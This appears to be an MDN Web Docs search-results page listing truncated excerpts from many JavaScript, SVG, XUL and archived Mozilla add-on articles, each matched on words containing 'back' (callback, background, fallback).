back language, in this case indonesian console.log(new intl.datetimeformat(['ban', 'id']).format(date)); // → "19/12/2012" using options the date and time formats can be customized using the options argument: var date = new date(date.utc(2012, 11, 20, 3, 0, 0, 200)); // request a weekday along with a long date var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; co...
Intl.DisplayNames.supportedLocalesOf() - JavaScript
the intl.displaynames.supportedlocalesof() method returns an array containing those of the provided locales that are supported in date and time formatting without having to fall
back to the runtime's default locale.
... return value an array of strings representing a subset of the given locale tags that are supported in date and time formatting without having to fall
back to the runtime's default locale.
...the language tags returned are those for which the runtime supports a locale in date and time formatting that the locale matching algorithm used considers a match, so that it wouldn't have to fall
back to the default locale.
Intl.ListFormat.supportedLocalesOf() - JavaScript
the intl.listformat.supportedlocalesof() method returns an array containing those of the provided locales that are supported in date and time formatting without having to fall
back to the runtime's default locale.
... return value an array of strings representing a subset of the given locale tags that are supported in date and time formatting without having to fall
back to the runtime's default locale.
...the language tags returned are those for which the runtime supports a locale in date and time formatting that the locale matching algorithm used considers a match, so that it wouldn't have to fall
back to the default locale.
Intl.NumberFormat.supportedLocalesOf() - JavaScript
the intl.numberformat.supportedlocalesof() method returns an array containing those of the provided locales that are supported in number formatting without having to fall
back to the runtime's default locale.
... return value an array of strings representing a subset of the given locale tags that are supported in number formatting without having to fall
back to the runtime's default locale.
...the language tags returned are those for which the runtime supports a locale in number formatting that the locale matching algorithm used considers a match, so that it wouldn't have to fall
back to the default locale.
Intl.NumberFormat - JavaScript
static methods intl.numberformat.supportedlocalesof() returns an array containing those of the provided locales that are supported without having to fall
back to the runtime's default locale.
...in order to get the format of the language used in the user interface of your application, make sure to specify that language (and possibly some fall
back languages) using the locales argument: var number = 123456.789; // german uses comma as decimal separator and period for thousands console.log(new intl.numberformat('de-de').format(number)); // → 123.456,789 // arabic in most arabic speaking countries uses real arabic digits console.log(new intl.numberformat('ar-eg').format(number)); // → ١٢٣٤٥٦٫٧٨٩ // india uses thousands/lakh/...
...chinese decimal console.log(new intl.numberformat('zh-hans-cn-u-nu-hanidec').format(number)); // → 一二三,四五六.七八九 // when requesting a language that may not be supported, such as // balinese, include a fall
back language, in this case indonesian console.log(new intl.numberformat(['ban', 'id']).format(number)); // → 123.456,789 using options the results can be customized using the options argument: var number = 123456.789; // request a currency format console.log(new intl.numberformat('de-de', { style: 'currency', currency: 'eur' }).format(number)); // → 123.456,79 € // the japanese yen doesn't use a minor unit c...
Intl.PluralRules.supportedLocalesOf() - JavaScript
the intl.pluralrules.supportedlocalesof() method returns an array containing those of the provided locales that are supported in plural formatting without having to fall
back to the runtime's default locale.
... return value an array of strings representing a subset of the given locale tags that are supported in plural formatting without having to fall
back to the runtime's default locale.
...the language tags returned are those for which the runtime supports a locale in plural formatting that the locale matching algorithm used considers a match, so that it wouldn't have to fall
back to the default locale.
Intl.RelativeTimeFormat.supportedLocalesOf() - JavaScript
the intl.relativetimeformat.supportedlocalesof() method returns an array containing those of the provided locales that are supported in date and time formatting without having to fall
back to the runtime's default locale.
... return value an array of strings representing a subset of the given locale tags that are supported in date and time formatting without having to fall
back to the runtime's default locale.
...the language tags returned are those for which the runtime supports a locale in date and time formatting that the locale matching algorithm used considers a match, so that it wouldn't have to fall
back to the default locale.
Promise.prototype.finally() - JavaScript
when the promise is settled, i.e either fulfilled or rejected, the specified call
back function is executed.
... the finally() method is very similar to calling .then(onfinally, onfinally) however there are a couple of differences: when creating a function inline, you can pass it once, instead of being forced to either declare it twice, or create a variable for it a finally call
back will not receive any argument, since there's no reliable means of determining if the promise was fulfilled or rejected.
... note: a throw (or returning a rejected promise) in the finally call
back will reject the new promise with the rejection reason specified when calling throw.
String.prototype.slice() - JavaScript
let str = 'the morning is upon us.' str.slice(-3) // returns 'us.' str.slice(-3, -1) // returns 'us' str.slice(0, -1) // returns 'the morning is upon us' this example counts
backwards from the end of the string by 11 to find the start index and forwards from the start of the string by 16 to find the end index.
... console.log(str.slice(-11, 16)) // => "is u" here it counts forwards from the start by 11 to find the start index and
backwards from the end by 7 to find the end index.
... console.log(str.slice(11, -7)) // => " is u" these arguments count
backwards from the end by 5 to find the start index and
backwards from the end by 1 to find the end index.
TypedArray.prototype.lastIndexOf() - JavaScript
the typed array is searched
backwards, starting at fromindex.
...the index at which to start searching
backwards.
...note that even when the index is negative, the typed array is still searched from
back to front.
MathML attribute reference - MathML
the attributes
background, color, fontfamily, fontsize, fontstyle, fontweight and xlink:href are deprecated.
... unimplemented altimg altimg-width altimg-height altimg-valign alttext <math> visual and textual fall-
back options.
... math
background all the
background color.
Handling media support issues in web content - Web media technologies
there is a draw
back, however: because there are so many to choose from, with so many different kinds of licenses and design principles involved, each web browser developer is left to its own devices when deciding which media file types and codecs to support.
...topics we will examine fall
backs, baseline media formats, and error handling practices that will let your content work in as many situations as possible.
... detecting play
back errors adapting presentation with css memory management ...
CSS and JavaScript animation performance - Web Performance
the call
back function of the method is called by the browser before the next repaint on each frame.
...developers can create an animation by simply changing an element's style each time the loop is called (or updating the canvas draw, or whatever.) note: like css transitions and animations, requestanimationframe() pauses when the current tab is pushed into the
background.
...this can occur because css transitions/animations are simply resampling element styles in the main ui thread before each repaint event happens, which is almost the same as resampling element styles via a requestanimationframe() call
back, also triggered before the next repaint.
Populating the page: how browsers work - Web Performance
yes, this means three more messages
back and forth between each server, and the request has yet to be made.
...it will retrieve resources in the
background so that by the time the main html parser reaches requested assets, they may possibly already be in flight, or have been downloaded.
...when the image is obtained from the server, the rendering process goes
back to the layout steps and restarts from there.
Optimizing startup performance - Web Performance
instead, you should write your code so that your app creates a web worker that does as much as possible in a
background thread (for example, fetching and processing data.) then, anything that must be done on the main thread (such as user events and rendering ui) should be broken up into small pieces so that the app's event loop continues to cycle while it starts up.
...all pure startup calculations should be performed in
background threads, while you keep the run-time of main thread events as short as possible.
...for games, consider having
background music playing or a nice splash screen displayed.
Performance Monitoring: RUM vs synthetic monitoring - Web Performance
synthetic monitoring involves deploying scripts to simulate the path an end user might take through a web application, reporting
back the performance the simulator experiences.
...generally, a third party script injects a script on each page to measure and report
back on page load data for every request made.
...in real user monitoring, the browsers of real users report
back performance metrics experienced.
Add to Home screen - Progressive web apps (PWAs)
the fields needed for a2hs are as follows:
background_color: specifies a
background color to be used in some app contexts.
... the manifest for our sample app looks like this: { "
background_color": "purple", "description": "shows random fox pictures.
...when you open the app, it will appear in its own window: if the user selects cancel, the state of the app goes
back to how it was before the button was clicked.
Applying SVG effects to HTML content - SVG: Scalable Vector Graphics
applying the svg effect to (x)html is accomplished by assigning the target class defined above to an element, like this: <p class="target" style="
background:lime;"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
... <p class="target" style="
background:lime;"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
... <p class="target" style="
background: lime;"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
in2 - SVG: Scalable Vector Graphics
value sourcegraphic | sourcealpha |
backgroundimage |
backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive animatable yes fecomposite for <fecomposite>, in2 defines the second input image to the compositing operation.
... value sourcegraphic | sourcealpha |
backgroundimage |
backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive animatable yes fedisplacementmap for <fedisplacementmap>, in2 defines the second input image, which is used to displace the pixels in the image defined in the in attribute.
... value sourcegraphic | sourcealpha |
backgroundimage |
backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive animatable yes specifications specification status comment filter effects module level 1the definition of 'in2 for <fedisplacementmap>' in that specification.
SVG as an Image - SVG: Scalable Vector Graphics
many browsers support svg images in: html <img> or <svg> elements css
background-image gecko-specific contexts additionally, gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) introduced support for using svg in these contexts: css list-style-image css content svg <image> element svg <feimage> element canvas drawimage function restrictions for security purposes, gecko places some restrictions on svg content when it's being used as an image: javascript is disabled.
... css
backgrounds and borders module level 3the definition of 'svg within '
background-image' css property' in that specification.
... candidate recommendation defines the usage of svg within the
background-image property.
SVG In HTML Introduction - SVG: Scalable Vector Graphics
overview this article and its associated example shows how to use inline svg to provide a
background picture for a form.
...(another style rule makes an error message appear.) this approach has the following points in its favor: we have taken a regular html form that could have been part of an existing web site, and added an attractive, interactive
background the approach is
backwards compatible to browsers that do not support svg; simply, no
background appears in them it's very simple and performs very well the picture dynamically sizes itself to the required size in an intelligent way we can have declarative style rules applying to both html and svg the same script manipulates both html and svg the document is entirely standards-based ...
... the style attribute pins the svg element to the
background of the form.
Tutorials
registering and logging in, sending feed
back, buying products, and more.
...how do i decorate my webpage with
background images and colors?
...this module looks at the cascade and inheritance, all the selector types we have available, units, sizing, styling
backgrounds and borders, debugging, and lots more.
Using shadow DOM - Web Components
; icon.appendchild(img); styling the shadow dom after that we create a <style> element and populate it with some css to style it: // create some css to apply to the shadow dom let style = document.createelement('style'); style.textcontent = ` .wrapper { position: relative; } .info { font-size: 0.8rem; width: 200px; display: inline-block; border: 1px solid black; padding: 10px;
background: white; border-radius: 10px; opacity: 0; transition: 0.6s all; position: absolute; bottom: 20px; left: 10px; z-index: 3; } img { width: 1.2rem; } .icon:hover + .info, .icon:focus + .info { opacity: 1; }`; attaching the shadow dom to the shadow root the final step is to attach all the created elements to the shadow root: // attach the created elements to the shadow d...
... the element is as simple as defining it, and putting it on the page, as explained in using custom elements: // define the new element customelements.define('popup-info', popupinfo); <popup-info img="img/alt.png" data-text="your card validation code (cvc) is an extra security feature — it is the last 3 or 4 numbers on the
back of your card."> internal versus external styles in the above example we apply style to the shadow dom using a <style> element, but it is perfectly possible to do it by referencing an external stylesheet from a <link> element instead.
... many modern browsers implement an optimization for <style> tags either cloned from a common node or that have identical text, to allow them to share a single
backing stylesheet.
2015 MDN Fellowship Program - Archive of obsolete content
they enable the creation of effective offline experiences and wiill also allow access to push notifications and
background sync apis.
...you may propose your own subject area (examples: virtual reality on the web, network security, css, etc.) or we will work with you to match you to the best subject based on your
background and mozilla priorities.
Interacting with page scripts - Archive of obsolete content
since structured cloning doesn't work for functions, this means that you can't export functions that take functions as arguments (such as call
backs) or functions that return functions.
...pt can call the function as foo.greetme(): <html> <head> </head> <body> <input id="test" type="button" value="click me"/> <script> var test = document.getelementbyid("test"); test.addeventlistener("click", function() { alert(window.foo.greetme("page script")); }, false); </script> </body> </html> reverting to the old behavior you can switch firefox
back to the old behavior in which content scripts could expose objects and functions to page scripts using unsafewindow.
Content Processes - Archive of obsolete content
content scripts differ from scripts that are loaded by the page itself in that they are provided with a messaging api that can be used to send messages
back to the add-on script.
...an event emitter maintains a list of call
backs (or listeners) for one or more named events.
context-menu - Archive of obsolete content
the menu that appears should contain the items "
back", "forward", "reload", "stop", and so on.
...for instance, if your item performs a search with the user's selected text, it would be nice to display the text in the item to provide feed
back to the user.
page-worker - Archive of obsolete content
for example, the content script might read some content and send it
back to the main add-on, which could store it using the simple-storage api.
... for example, this add-on loads a page from wikipedia, and runs a content script in it to send all the headers
back to the main add-on code: var pageworkers = require("sdk/page-worker"); // this content script sends header titles from the page to the add-on: var script = "var elements = document.queryselectorall('h2 > span'); " + "for (var i = 0; i < elements.length; i++) { " + " postmessage(elements[i].textcontent) " + "}"; // create a page worker that loads wikipedia: pageworkers.page({ contenturl: "http://en.wikipedia.org/wiki/internet", contentscript: script, contentscriptwhen: "ready", onmessage: function(message) { console.l...
io/file - Archive of obsolete content
this means that on windows paths are specified using the
backslash path separator (\), and on unix-like systems like linux and os x paths are specified using the forward slash path separator (/).
... note that if you do decide to hardcode windows-style paths, be sure to escape
backslashes in strings.
remote/parent - Archive of obsolete content
listen to attach and detach events to hear as processes are started and stopped: const { processes } = require("sdk/remote/parent"); processes.on("attach", function(process) { console.log("new process is remote: " + process.isremote); }); methods forevery(call
back) calls the call
back for every existing process and any new processes created in the future.
... const { frames } = require("sdk/remote/parent"); frames.on("attach", function(frame) { console.log("frame is attached: " + frame.frameelement); }); methods forevery(call
back) calls the call
back for every existing frame and any new frames created in the future.
Displaying annotations - Archive of obsolete content
this function: initializes the content script instance with the current set of annotations provides a handler for messages from that content script, handling the three messages - show, hide and detach - that the content script might send adds the worker to an array, so we it can send messages
back later.
... annotation panel html <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>annotation</title> <style media="all" type="text/css"> body { font: 100% arial, helvetica, sans-serif;
background-color: #f5f5f5; } div { text-align:left; } </style> </head> <body> <div id="annotation"> </div> </body> </html> save this in data/annotation as annotation.html.
Storing annotations - Archive of obsolete content
otation-list.css" /> </head> <body> <div id="annotation-list"> </div> <div id="template"> <div class="annotation-details"> <a class="url"></a> <div class="selection-text"></div> <div class="annotation-text"></div> </div> </div> </body> </html> here's the corresponding css: #annotation-list .annotation-details { padding: 10px; margin: 10px; border: solid 3px #eee;
background-color: white; } #annotation-list .url, .selection-text, .annotation-text { padding: 5px; margin: 5px; } #annotation-list .selection-text,#annotation-list .annotation-text { border: solid 1px #eee; } #annotation-list .annotation-text { font-style: italic; } body {
background-color: #f5f5f5; font: 100% arial, helvetica, sans-serif; } h1 { font-family: ge...
...a real add-on should give the user a chance to choose which data to keep, and prevent the user from adding any more data until the add-on is
back under quota.) respecting private browsing since annotations record the user's browsing history we should avoid recording annotations in private windows.
Canvas code snippets - Archive of obsolete content
add a listener to the // frame's onload event iframe.addeventlistener('load', this.remotepageloaded, true); //append to the end of the page window.document.body.appendchild(iframe); return; }; remotecanvas.prototype.remotepageloaded = function() { // look
back up the iframe by id var ldrframe = document.getelementbyid('test-iframe'); // get a reference to the window object you need for the canvas // drawwindow method var remotewindow = ldrframe.contentwindow; //draw canvas var canvas = document.createelement('canvas'); canvas.style.width = remotecanvas.canvas_width + 'px'; canvas.style.height = remotecanvas.canvas_heigh...
... var canvas = document.createelement('canvas'); var ctxt = canvas.getcontext('2d'); function loadimagefile(url, call
back) { var image = new image(); image.src = url; return new promise((accept, reject) => { image.onload = accept; image.onerror = reject; }).then(accept => { canvas.width = this.width; canvas.height = this.height; ctxt.clearrect(0, 0, this.width, this.height); ctxt.drawimage(this, 0, 0); accept(canvas.todataurl()); }); } usage: loadimagefile('myimage.jpg').then...
Finding window handles - Archive of obsolete content
mozilla developers have put the reference to the gtkwindow* into the gdkwindow* "user data", as a
back reference.
...ow.ptr(ctypes.uint64(gdkwindowptrstring)); var gdk = ctypes.open('libgdk-x11-2.0.so.0'); var gdk_window_get_user_data = gdk.declare('gdk_window_get_user_data', ctypes.default_abi, ctypes.void_t, gdkwindow.ptr, gpointer.ptr); var gptr = gpointer(); gdk_window_get_user_data(gdkwinptr, gptr.address()); var gtkwinptr = ctypes.cast(gptr, gtkwindow.ptr); // we now have gtkwindow* */ // lets take it
back to gdkwindow* var gtk = ctypes.open('libgtk-x11-2.0.so.0'); var gtk_widget_get_window = gtk.declare('gtk_widget_get_window', ctypes.default_abi, gdkwindow.ptr, gtkwidget.ptr); // for getgdkwindowfromgtkwindow var gtkwidgetptr = ctypes.cast(gtkwinptr, gtkwidget.ptr); var
backto_gdkwinptr = gtk_widget_get_window(gtkwidgetptr); working with xid xid to gdkwindow* // soon to come xid to gtkw...
Forms related code snippets - Archive of obsolete content
document.attachevent("onmousedown", ondocclick) : (document.onmousedown = ondocclick); })(); </script> <style type="text/css"> table.zdp-calendar { border: 1px solid #666666; border-collapse: collapse;
background-color: #cccccc; cursor: default; font-family: verdana; font-size: 12px; } table.zdp-calendar th { border: 1px solid #666666; font-weight: bold;
background-color: #ff6666; } table.zdp-calendar td { border: 1px solid #666666; text-align: center; } table.zdp-calendar caption {
background-color: #333333; padding: 2px; } span.zdp-current-month { display: inline-block; ...
... width: auto; height: 16px; padding: 0 2px; line-height: 16px; margin: 0 auto;
background-color: #999999; border-radius: 5px; } span.zdp-increase-month, span.zdp-increase-year, span.zdp-decrease-month, span.zdp-decrease-year { display: block; padding: 0 2px; height: 16px; font-weight: bold;
background-color: #999999; border-radius: 5px; cursor: pointer; } span.zdp-decrease-month, span.zdp-decrease-year { float: left; margin-right: 2px; } span.zdp-increase-month, span.zdp-increase-year { float: right; margin-left: 2px; } td.zdp-active-cell { padding: 1px 3px; cursor: pointer; color: #000000; text-align: center; vertical-align: middle; } td.zdp-active-cell:hover {
background-color: #999999; cursor: pointer; } td.zdp-empty-cell { cursor: not...
Delayed Execution - Archive of obsolete content
note: if an nsitimer is garbage collected, it will be deactivated and its call
backs will not fire.
... some example usages include: const timer = components.constructor("@mozilla.org/timer;1", "nsitimer", "initwithcall
back"); function delay(timeout, func) { let timer = new timer(function () { // remove the reference so that it can be reaped.
JavaScript timers - Archive of obsolete content
using javascript timers within animations (javascript daemons management) in computer science a daemon is a task that runs as a
background process, rather than being under the direct control of an interactive user.
...the method takes as an argument a call
back to be invoked before the repaint.
Adding sidebars - Archive of obsolete content
one common use for a stack is to have an image
background that stretches horizontally and vertically depending on the size of the foreground object: <stack> <hbox flex="1"> <image src="chrome://xulschoolhello/skin/stack-bg.png" flex="1" /> </hbox> <hbox> <!-- some content here.
... --> </hbox> </stack> this workaround is necessary because you can't have an
background image stretch using css.
JavaScript Object Management - Archive of obsolete content
notice the way we send call
back functions as parameters, and the use of an alternate reference for this which we always name that.
... the general guideline we follow is this: whenever you have to set a call
back function parameter, wrap it in an anonymous function.
Useful Mozilla Community Sites - Archive of obsolete content
you'll also receive feed
back that you wouldn't notice by testing only in one language, which can reveal other bugs in your locale handling.
...the sheer volume of material can be overwhelming, but you can always come
back and use this tutorial as a reference for your future development.
XUL user interfaces - Archive of obsolete content
copy and paste the content from here, making sure that you scroll to get all of it: /*** xul demonstration ***/ window { -moz-box-align: start;
background-color: -moz-dialog; font: -moz-dialog; padding: 2em; } .head-1 { font-weight: bold; font-size: 200%; padding-left: 5px; } /* the group box */ .demo-group { padding: 1em; } .demo-group grid { margin-bottom: 1em; } .demo-group column { margin-right: .5em; } .demo-group row { margin-bottom: .5em; } .demo-group .buttons { -moz-box-pack: end; } /* the d...
... using this knowledge, add a rule to the stylesheet that makes the
background of the date box pale blue when it has keyboard focus (but white when keyboard focus is somewhere else).
MozOrientation - Archive of obsolete content
the y axis represents the amount of front-to-
back tilt.
... the value is 0 if the device is level along the y axis, and approaches 1 as you tilt the device
backward (away from you) and -1 as you tilt the device frontward (toward you).
List of Mozilla-Based Applications - Archive of obsolete content
name description additional information 389 directory server ldap server uses nss a380 seat
back entertainment system media software this blog post mentions a reference to mozilla being used but i couldn't find more information about it.
...d hat certificate system server product uses nss regex renamer tool to rename files sameplace im client scenari platform application suite for designing publishing chains script it android development platform uses mozilla rhino, develop directly on your android device seamonkey suite a volunteer community legally
backed by mozilla foundation with 2.5 million downloads secure browser browser that uses virtualization created by dell sept cms for lemonde.fr web site more information here (in english) and here (in french) skyfire mobile browser sipear im client smartreport supervision appliance network monitoring and performance management ...
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
em, i took the thunderbird source package thunderbird-1.0.2-1.3.3.src.rpm installed it (rpm -i) then modified /usr/src/redhat/sources/thunderbird-mozconfig by adding: ac_add_options --enable-extensions=pref compile and install: $ rpmbuild -ba /usr/src/redhat/specs/thunderbird.spec $ rpm -uvh /usr/src/redhat/rpms/i386/thunderbird-1.0.2-1.3.3.i386.rpm after instillation, autoconfig is finally
back here: $ rpm -ql thunderbird | grep autoconfig /usr/lib/thunderbird-1.0.2/chrome/locale/autoconfig /usr/lib/thunderbird-1.0.2/components/autoconfig.xpt /usr/lib/thunderbird-1.0.2/components/libautoconfig.so /usr/lib/thunderbird-1.0.2/defaults/autoconfig /usr/lib/thunderbird-1.0.2/defaults/autoconfig/platform.js /usr/lib/thunderbird-1.0.2/defaults/autoconfig/prefcalls.js bugs reports related fo...
...beware that in windows, that file is already there, so it must be saved before being replaced by ours, in order to come
back to a normal state in case of problem.
Notes on HTML Reflow - Archive of obsolete content
reflow metrics the reflow metrics object, nshtmlreflowmetrics, is used to propagate information from child frames
back to the parent.
... for example, the dimensions of each child frame of an unconstrained <div> would be passed
back to the <div>'s frame via the nshtmlreflowmetrics object.
Creating regular expressions for a microsummary generator - Archive of obsolete content
when such characters appear in a url, and we want to match them in a regular expression, we have to escape them in the expression by prepending them with a
backwards slash (\).
...the only difference is that the regular expression has
backwards slashes before the periods and the question mark, since both of those characters have special meaning in regular expressions.
Dehydra Function Reference - Archive of obsolete content
gcc command line -fplugin=/path/to/gcc_dehydra.so -fplugin-arg-gcc_dehydra=/path/to/your/script.js call
back functions the following functions may be provided by the analysis script and will be called by dehydra while compiling.
...if the current call
back is associated with a particular location, the location will be printed first.
Fast Graphics Performance With HTML - Archive of obsolete content
use <div><div style="
background:white; position:fixed">simple</div>lots of text...</div> instead of <div><div style="position:fixed">simple</div>lots of text...</div> make the content of scrollable sub frames opaque e.g.
... use <div style="overflow:scroll><div style="
background:white"><p>this is some text</p><p>and some more</p></div></div> instead of <div style="overflow:scroll><p>this is some text</p><p>and some more</p></div> animating 'transform' and 'opacity' properties can be done with the compositor which makes them efficient to animate ...
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
onstartrequest notification comes
back from necko nsdocumentopeninfo::onstartrequest checks the response status code on the channel for http channels and drops the load on the floor if warranted (e.g.
... if we find no content listener willing to handle the data, we look for a content handler (using createinstance on ns_content_handler_contractid_prefix + acontenttype and expecting
back an nsicontenthandler).
JavaScript crypto - Archive of obsolete content
rapped encryption private key, and text string from the script (possibly containing naming or enrollment info) are signed by the user signed blob is returned to the script script submits signed blob and any other necessary info to the ca/ra ca/ra verifies signature on signed blob ca/ra validates identity of user ca/ra sends wrapped encryption private key to kra kra sends escrow verification
back to ca ca creates and signs certificates ca sends certificates
back to the user (importusercertificates) typical use the ca's enrollment page could look something like this: <!doctype html> <h2>request a cert</h2> <form name="reqform" method="post" action="http://your.ra.site.org"> <p><input type=hidden name=cert_request value=""> <p>name: <input type=text name=name value=""> <p>password: <i...
... the ca may submit a page that looks something like this: <!doctype html> <h2>certificate request successful</h2> <p>hit 'load' to load your certificate</p> <form name="reqform"> <p><input type=submit name="load" value="submit"></p> </form> <script> /* the following values could be filled in by the server cgi */ var nickname= "mycertnickname"; var cert = "mkjflakdjfiwjflaksufklasf ..."; var force
backup = false; function loadcertificate() { window.crypto.importusercertificates(nickname, cert, force
backup); return false; } document.forms[0].onsubmit = loadcertificate; </script> signing text domstring signtext(domstring stringtosign, domstring caoption /* ...
First run - Archive of obsolete content
you can also register a call
back that will be called after installation.
... </p> </> }; in this example, the page at http://example.com/myjetpack becomes the first-run page: var manifest = { firstrunpage: "http://example.com/myjetpack" }; first-run call
back you can register a call
back that will be called after your jetpack has been successfully installed.
Me - Archive of obsolete content
onfirstrun() accepts a call
back which is called after installation.
... note that this mechanism is independent of the first-run page; in particular, the call
back is not a load event listener or jquery ready call
back.
First Run - Archive of obsolete content
you can also register a call
back that will be called after installation.
... </p> </> }; in this example, the page at [http://example.com/myjetpack] becomes the first-run page: var manifest = { firstrunpage: "http://example.com/myjetpack" }; first-run call
back you can register a call
back that will be called after your jetpack has been successfully installed.
How to Write and Land Nanojit Patches - Archive of obsolete content
if you ever want to "undo" revisions you copied from nanojit-central, you can
backout copied revisions using the existing mercurial "
backout" command in your target repository.
... if you do so, the next time you copy revisions from nanojit-central to your target repository, the script will re-copy the
backed-out revisions, as well as those that occurred after.
Tuning Pageload - Archive of obsolete content
specifically - content.notify.ontimer controls whether the frame constructor is notified off a timer at all content.notify.
backoffcount controls how many times that happens for a given page (the default is arbitrarily many times).
... once the
backoff count is reached, no more rendering model construction till after the whole page is parsed.
URIs and URLs - Archive of obsolete content
for
backwards compatibility, an implementation may work around such references by removing the scheme if it matches that of the base uri and the scheme is known to always use the "hier_part" syntax.
... the decision was made against
backwards compatibility.
Venkman Introduction - Archive of obsolete content
if the breakpoint is successfully set, the margin will show the letter "b" on a red
background, and both the loaded scripts view and interactive session view will provide feed
back.
... in the interactive session's input field, enter this.fpaused venkman evaluates the expression, giving you [boolean] false
back.
width - Archive of obsolete content
<hbox> <hbox width="40" style="
background-color: red;"> <label value="40"/> </hbox> </hbox> however, in the following example, despite that the preferred width of the box is 30 pixels, the displayed size of the box will be larger to accommodate the larger label.
... <vbox width="30" align="start" style="
background-color: red;"> <label value="vbox xul width 10px red"/> </vbox> note: when used on treecol objects, the width attribute can be used to allow a tree to be scrolled horizontally if the column widths add up to be wider than the containing object.
Attribute (XUL) - Archive of obsolete content
« xul reference home acceltext accessible accesskey activetitlebarcolor afterselected align allowevents allownegativeassertions alternating
background alwaysopenpopup attribute autocheck autocompleteenabled autocompletepopup autocompletesearch autocompletesearchparam autofill autofillaftermatch autoscroll beforeselected buttonaccesskeyaccept buttonaccesskeycancel buttonaccesskeydisclosure buttonaccesskeyextra1 buttonaccesskeyextra2 buttonaccesskeyhelp buttonalign buttondir buttondisabledaccept buttonlabelaccept buttonlabelcancel buttonlabeldisclosure buttonlabelextra1 buttonlabelextra2 buttonlabelhelp buttonorient buttonpack buttons checked checkstate clicktoscroll class closebutton closemenu coalesceduplicatearcs collapse collapsed co...
...ondialogaccept ondialogcancel ondialogclosure ondialogextra1 ondialogextra2 ondialoghelp onerror onerrorcommand onextra1 onextra2 oninput onload onnewtab onpageadvanced onpagehide onpagerewound onpageshow onpaneload onpopuphidden onpopuphiding onpopupshowing onpopupshown onsearchcomplete onselect ontextcommand ontextentered ontextrevert ontextreverted onunload onwizard
back onwizardcancel onwizardfinish onwizardnext open ordinal orient pack pageid pageincrement pagestep parent parsetype persist persistence phase pickertooltiptext placeholder popup position predicate preference preference-editable primary priority properties querytype readonly ref rel removeelement resizeafter resizebefore rows screenx screeny searchbutton search...
XUL Events - Archive of obsolete content
the focus can be changed by clicking on another element, by pressing tab to switch to the next element in the tab order sequence, or by pressing '
back tab' to switch focus to the previous element in the tab order.
...you can use this event to provide feed
back to the user.
Menus - Archive of obsolete content
a link links context-viewimage views an image at full size images context-copyimage-contents copies an image to the clipboard images context-copyimage copies the url of an image to the clipboard images context-saveimage saves an image images context-sendimage sends an image in an email images context-setdesktop
background sets an image as the desktop
background images context-blockimage blocks an image images context-
back goes
back a page context-forward goes forward a page context-reload reloads a page context-stop stops loading a page context-bookmarkpage bookmarks a page context-savepage s...
...aves a page context-sendpagetodevice send page to device context-sendpage send page in an email context-viewbgimage views a
background image context-undo undo editable text context-cut cuts to clipboard editable text context-copy copies to clipboard context-paste pastes from clipboard editable text context-delete deletes selection editable text context-selectall selects all context-searchselect selected text is searched context-viewpartialsource-selection views the selection source selection context-viewpartialsource-mathml views the mathml source mathml context-viewsource views the sourc...
Panels - Archive of obsolete content
letting panels be dragged by grabbing the
background requires gecko 7.0(firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) starting in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4), you can use the
backdrag attribute to create panels that the user can drag by clicking and dragging anywhere on their
backgrounds.
... this is a simple, boolean attribute, so you can enable this feature like this: <panel
backdrag="true"> ...
Things I've tried to do with XUL - Archive of obsolete content
<vbox flex="1"> <box height="30%" flex="1" style="
background: green;"/> <box height="20%" flex="1" style="
background: red;"/> <box height="50%" flex="1" style="
background: blue;"/> </vbox> workaround: no real good ones; the closest i've gotten is to use a div instead of a box container: <html:div style="-moz-box-flex: 1; width: 100%; height: 100%;"> <box style="height: 30%" flex="1" style="
background: green;"/> <box style="height: 20%" flex="1"...
... style="
background: green;"/> <box style="height: 50%" flex="1" style="
background: green;"/> </html:div> using flex="3" flex="2" flex="5" would give the right display visually for the empty boxes; however, flex only applies to how empty space is allocated.
Creating an Installer - Archive of obsolete content
this function takes two arguments, the first is a list of packages to install, and the second is a call
back function which will be called when the installation is complete.
... here is an example: function donefn ( name , result ){ alert("the package " + name + " was installed with a result of " + result); } var xpi = new object(); xpi["calendar"] = "calendar.xpi"; installtrigger.install(xpi,donefn); first, we define a call
back function donefn() which will be called when the install is complete.
Keyboard Shortcuts - Archive of obsolete content
vk_cancel vk_
back vk_tab vk_clear vk_return vk_enter vk_shift vk_control vk_alt vk_pause vk_caps_lock vk_escape vk_space vk_page_up vk_page_down vk_end vk_home vk_left vk_up vk_right vk_down vk_printscreen vk_insert vk_delete vk_0 vk_1 vk_2 vk_3 vk_4 vk_5 vk_6 vk_7 vk_8 vk...
...or vk_subtract vk_decimal vk_divide vk_f1 vk_f2 vk_f3 vk_f4 vk_f5 vk_f6 vk_f7 vk_f8 vk_f9 vk_f10 vk_f11 vk_f12 vk_f13 vk_f14 vk_f15 vk_f16 vk_f17 vk_f18 vk_f19 vk_f20 vk_f21 vk_f22 vk_f23 vk_f24 vk_num_lock vk_scroll_lock vk_comma vk_period vk_slash vk_
back_quote vk_open_bracket vk_
back_slash vk_close_bracket vk_quote vk_help for example, to create a shortcut that is activated when the user presses alt and f5, do the following: <keyset> <key id="test-key" modifiers="alt" keycode="vk_f5"/> </keyset> the example below demonstrates some more keyboard shortcuts: <keyset> <key id="copy-key" modifie...
Modifying the Default Skin - Archive of obsolete content
for example, by adding the following to the end of the file, you can change all menubar elements to have a red
background.
... menubar {
background-color: red; } if you open any firefox window after making this change, the menu bars will be red.
More Wizards - Archive of obsolete content
